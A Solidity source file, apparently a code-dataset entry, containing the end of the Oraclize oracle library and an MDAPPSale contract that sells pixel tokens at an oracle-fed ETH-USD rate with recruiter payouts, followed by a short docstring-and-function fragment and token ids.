bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
// parseInt
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
// parseInt(parseFloat*10^_b)
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
// get correct cbor output length
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
// if there's a bug with larger strings, this may be the culprit
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
// get correct cbor output length
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
// if there's a bug with larger strings, this may be the culprit
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
// Convert from seconds to ledger timer ticks
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
// Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH)
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1); //role
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
// Step 7: verify the APPKEY1 provenance (must be signed by Ledger)
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
// Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1)
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
// Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1)
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
// Step 2: the unique keyhash has to match with the sha256 of (context name + queryId)
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
// Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1)
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
// Step 4: commitment match verification, keccak256(delay, nbytes, unonce, sessionKeyHash) == commitment in storage.
// This is to verify that the computed args match with the ones specified in the query.
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match
delete oraclize_randomDS_args[queryId];
} else return false;
// Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey)
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
// verify if sessionPubkeyHash was verified already, if not.. let's do it!
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
// Buffer too small
require(to.length >= minLength); // Should be a better way?
// NOTE: the offset 32 is added to skip the `size` field of both bytes variables
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
// Duplicate Solidity's ecrecover, but catching the CALL return value
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
// We do our own memory management here. Solidity uses memory offset
// 0x40 to store the current end of memory. We write past it (as
// writes are memory extensions), but don't update the offset so
// Solidity will reuse it. The memory used here is only needed for
// this context.
// FIXME: inline assembly can't access return values
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
// NOTE: we can reuse the request memory because we deal with
// the return code
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
// The signature format is a compact form of:
// {bytes32 r}{bytes32 s}{uint8 v}
// Compact means, uint8 is not padded to 32 bytes.
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
// Here we are loading the last 32 bytes. We exploit the fact that
// 'mload' will pad with zeroes if we overread.
// There is no 'mload8' to do this, but that would be nicer.
v := byte(0, mload(add(sig, 96)))
// Alternative solution:
// 'byte' is not working due to the Solidity parser, so lets
// use the second best option, 'and'
// v := and(mload(add(sig, 65)), 255)
}
// albeit non-transactional signatures are not specified by the YP, one would expect it
// to match the YP range of [27, 28]
//
// geth uses [0, 1] and some clients have followed. This might change, see:
// https://github.com/ethereum/go-ethereum/issues/2053
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
// </ORACLIZE_API>
/*
* @title MDAPPSale
* @dev MDAPPSale is a base contract for managing the token sale.
* MDAPPSale has got a start timestamp, from where buyers can make
* token purchases and the contract will assign them tokens based
* on a ETH per token rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
contract MDAPPSale is Ownable, PullPayment, usingOraclize {
//contract MDAPPSale is Ownable, PullPayment {
using SafeMath for uint256;
using SafeMath16 for uint16;
// The MDAPP core contract
MDAPP public mdapp;
// Start timestamp for presale (inclusive)
uint256 public startTimePresale;
// End timestamp for presale
uint256 public endTimePresale;
// Start timestamp sale
uint256 public startTimeSale;
// Address where funds are collected
address public wallet;
// Amount of raised money in wei. Only for stats. Don't use for calculations.
uint256 public weiRaised;
// Sold out / sale active?
bool public soldOut = false;
// Max supply
uint16 public constant maxSupply = 10000;
// Initial supply
uint16 public supply = 0;
// Oracle active?
bool public oracleActive = false;
// Delay between autonomous oraclize requests
uint256 public oracleInterval;
// Gas price for oraclize callback transaction
uint256 public oracleGasPrice = 7000000000;
// Gas limit for oraclize callback transaction
// Unused gas is returned to oraclize.
uint256 public oracleGasLimit = 105000;
// When was the ethusd rate updated the last time?
uint256 public oracleLastUpdate = 1;
// Alternative: json(https://api.kraken.com/0/public/Ticker?pair=ETHUSD).result.XETHZUSD.c.0
string public oracleQueryString = 'json(https://api.gdax.com/products/ETH-USD/ticker).price';
// USD Cent value of 1 ether
uint256 public ethusd;
uint256 ethusdLast;
/*********************************************************
* *
* Events *
* *
*********************************************************/
/*
* Event for token purchase logging.
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param tokens amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint16 tokens);
event Recruited(address indexed purchaser, address indexed beneficiary, address indexed recruiter, uint256 value, uint256 share, uint16 tokens);
// Received ETH via fallback function
event Receive(address sender, uint256 value);
event BountyGranted(address indexed beneficiary, uint16 tokens, string reason);
event LogPriceUpdated(uint256 price);
event OracleFundsWithdraw(uint256 value);
event OracleGasPriceChange(uint256 value);
event OracleGasLimitChange(uint256 value);
event OracleIntervalChange(uint256 value);
event OracleQueryStringChange(string value);
event ETHUSDSet(uint256 value);
/*********************************************************
* *
* Initial deployment *
* *
*********************************************************/
constructor(uint256 _startTimePre, uint256 _endTimePre, uint256 _startTimeSale, address _wallet, uint256 _ethusd, uint _oracleInterval, address _mdapp) public {
require(_startTimePre >= now);
require(_endTimePre > _startTimePre);
require(_startTimeSale >= _endTimePre);
require(_wallet != 0x0);
require(_ethusd > 0);
require(_mdapp != 0x0);
ethusd = _ethusd;
ethusdLast = ethusd;
oracleInterval = _oracleInterval;
startTimePresale = _startTimePre;
endTimePresale = _endTimePre;
startTimeSale = _startTimeSale;
wallet = _wallet;
mdapp = MDAPP(_mdapp);
oraclize_setCustomGasPrice(oracleGasPrice);
}
/*********************************************************
* *
* Price calculation and oracle handling *
* *
*********************************************************/
/**
* @dev Request ETHUSD rate from oraclize
* @param _delay in seconds when the request should be scheduled from now on
*/
function requestEthUsd(uint _delay) internal { // Internal call:
if (oracleActive && !soldOut) {
if (oraclize_getPrice("URL") > address(this).balance) {
oracleActive = false;
} else {
if (_delay == 0) {
oraclize_query("URL", oracleQueryString, oracleGasLimit);
} else {
oraclize_query(_delay, "URL", oracleQueryString, oracleGasLimit);
}
}
}
}
/**
* @dev Called by oraclize.
*/
function __callback(bytes32 myid, string result) public {
if (msg.sender != oraclize_cbAddress()) revert();
ethusdLast = ethusd;
ethusd = parseInt(result, 2);
oracleLastUpdate = now;
emit LogPriceUpdated(ethusd);
requestEthUsd(oracleInterval);
}
// Activate ethusd oracle
function activateOracle() onlyOwner external payable {
oracleActive = true;
requestEthUsd(0);
}
function setOracleGasPrice(uint256 _gasPrice) onlyOwner external {
require(_gasPrice > 0, "Gas price must be a positive number.");
oraclize_setCustomGasPrice(_gasPrice);
oracleGasPrice = _gasPrice;
emit OracleGasPriceChange(_gasPrice);
}
function setOracleGasLimit(uint256 _gasLimit) onlyOwner external {
require(_gasLimit > 0, "Gas limit must be a positive number.");
oracleGasLimit = _gasLimit;
emit OracleGasLimitChange(_gasLimit);
}
function setOracleInterval(uint256 _interval) onlyOwner external {
require(_interval > 0, "Interval must be > 0");
oracleInterval = _interval;
emit OracleIntervalChange(_interval);
}
function setOracleQueryString(string _queryString) onlyOwner external {
oracleQueryString = _queryString;
emit OracleQueryStringChange(_queryString);
}
/**
* Only needed to be independent from Oraclize - just for the worst case they stop their service.
*/
function setEthUsd(uint256 _ethusd) onlyOwner external {
require(_ethusd > 0, "ETHUSD must be > 0");
ethusd = _ethusd;
emit ETHUSDSet(_ethusd);
}
/**
* @dev Withdraw remaining oracle funds.
*/
function withdrawOracleFunds() onlyOwner external {
oracleActive = false;
emit OracleFundsWithdraw(address(this).balance);
owner.transfer(address(this).balance);
}
/*********************************************************
* *
* Token and pixel purchase *
* *
*********************************************************/
// Primary token purchase function.
function buyTokens(address _beneficiary, uint16 _tokenAmount, address _recruiter) external payable {
require(_beneficiary != address(0), "Invalid beneficiary.");
require(_tokenAmount > 0, "Token amount bust be a positive integer.");
require(validPurchase(), "Either no active sale or zero ETH sent.");
require(_recruiter != _beneficiary && _recruiter != msg.sender, "Recruiter must not be purchaser or beneficiary.");
assert(ethusd > 0);
// Each pixel costs $1 and 1 token represents 10x10 pixel => x100. ETHUSD comes in Cent => x100 once more
// 10**18 * 10**2 * 10**2 = 10**22
uint256 rate = uint256(10 ** 22).div(ethusd);
// Calculate how much the tokens cost.
// Overpayed purchases don't receive a return.
uint256 cost = uint256(_tokenAmount).mul(rate);
// Accept previous exchange rate if it changed within the last 2 minutes to improve UX during high network load.
if (cost > msg.value) {
if (now - oracleLastUpdate <= 120) {
assert(ethusdLast > 0);
rate = uint256(10 ** 22).div(ethusdLast);
cost = uint256(_tokenAmount).mul(rate);
}
}
require(msg.value >= cost, "Not enough ETH sent.");
// Update supply.
supply += _tokenAmount;
require(supply <= maxSupply, "Not enough tokens available.");
if (_recruiter == address(0)) {
weiRaised = weiRaised.add(msg.value);
asyncTransfer(wallet, msg.value);
} else {
// Purchaser has been recruited. Grant the recruiter 10%.
uint256 tenPercent = msg.value.div(10);
uint256 ninetyPercent = msg.value.sub(tenPercent);
weiRaised = weiRaised.add(ninetyPercent);
asyncTransfer(wallet, ninetyPercent);
asyncTransfer(_recruiter, tenPercent);
emit Recruited(msg.sender, _beneficiary, _recruiter, msg.value, tenPercent, _tokenAmount);
}
// Mint tokens.
bool isPresale = endTimePresale >= now ? true : false;
mdapp.mint(_beneficiary, _tokenAmount, isPresale);
emit TokenPurchase(msg.sender, _beneficiary, msg.value, _tokenAmount);
// Stop minting once we reach max supply.
if (supply == maxSupply) {
soldOut = true;
mdapp.finishMinting();
}
}
function grantBounty(address _beneficiary, uint16 _tokenAmount, string _reason) onlyOwner external {
require(_beneficiary != address(0), "Invalid beneficiary.");
require(_tokenAmount > 0, "Token amount bust be a positive integer.");
// Update supply.
supply += _tokenAmount;
require(supply <= maxSupply, "Not enough tokens available.");
// Mint tokens.
bool isPresale = endTimePresale >= now ? true : false;
mdapp.mint(_beneficiary, _tokenAmount, isPresale);
// Stop minting once we reach max supply.
if (supply == maxSupply) {
soldOut = true;
mdapp.finishMinting();
}
emit BountyGranted(_beneficiary, _tokenAmount, _reason);
}
// Fallback function. Load contract with ETH to use oraclize.
function() public payable {
emit Receive(msg.sender, msg.value);
}
/*********************************************************
* *
* Helpers *
* *
*********************************************************/
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool withinPeriod = (now >= startTimeSale) || ((now >= startTimePresale) && (now < endTimePresale));
bool nonZeroPurchase = msg.value > 0;
return withinPeriod && nonZeroPurchase && !soldOut;
}
}
|
* @dev Returns the credit owed to an address. @param _dest The creditor's address./
|
function payments(address _dest) public view returns (uint256) {
return escrow.depositsOf(_dest);
}
| 1,000,262 |
[
1,
1356,
326,
12896,
2523,
329,
358,
392,
1758,
18,
225,
389,
10488,
